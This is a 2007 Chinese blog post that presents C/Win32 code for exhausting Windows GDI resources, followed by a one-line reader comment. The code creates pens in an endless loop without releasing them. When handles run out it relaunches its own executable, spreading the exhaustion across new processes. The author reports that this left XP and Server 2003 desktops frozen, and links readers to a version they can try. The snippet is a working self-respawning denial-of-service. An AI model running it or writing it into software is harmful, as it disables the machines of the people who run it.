RSS| 首页| 山顶道| 布珞阁¹| GoodUI| 土产| 关于

耗尽windows GDI资源的攻击代码
2007.04.27 10:22 bruce:

虽然已经是NT时代,不像98那样gdi动不动就满了,满屏大字,但微软NT技术仍然有着gdi的限制,只不过是大了很多,经常出现windows不能创建新窗口。

因此,写了一段代码测试一下xp,2003的极限
没想到,windows还是那么的脆弱。

gdi耗尽后,视窗完全没法动弹,瘫痪了。

nt技术中,限制了每个进程最多10,000个gdi的占用,但不断的创建新进程来消耗gdi,nt就挂了
在2003的多任务下试了,每个远程桌面独立管理gdi互相不影响。
但耗尽了gdi的桌面注销后所有程序进程没法完全退出。

代码如下:

HDC hDC;
HPEN hPen;
PAINTSTRUCT Ps;

hDC = BeginPaint(hWnd, &Ps);

while(TRUE){
hPen = CreatePen(PS_DASHDOTDOT, 1, RGB(255, 25, 5));
if(hPen == NULL)
{
char name[MAX_PATH] = {0};
::GetModuleFileName(NULL, name, MAX_PATH);
::ShellExecute(NULL, _T("open"),name,NULL,"",SW_SHOW);
continue;
}
SelectObject(hDC, hPen);
Rectangle(hDC, 1, 1, 2, 2);
//这里不释放gdi句柄hPen
}

试验威力的点这里

分类  日经| 1个评论


1个评论
  1. ~T~T 留言:

    well done~

垃圾太厉害了
说几句吧






*注意: 回复可能需要审查.您不必重复提交.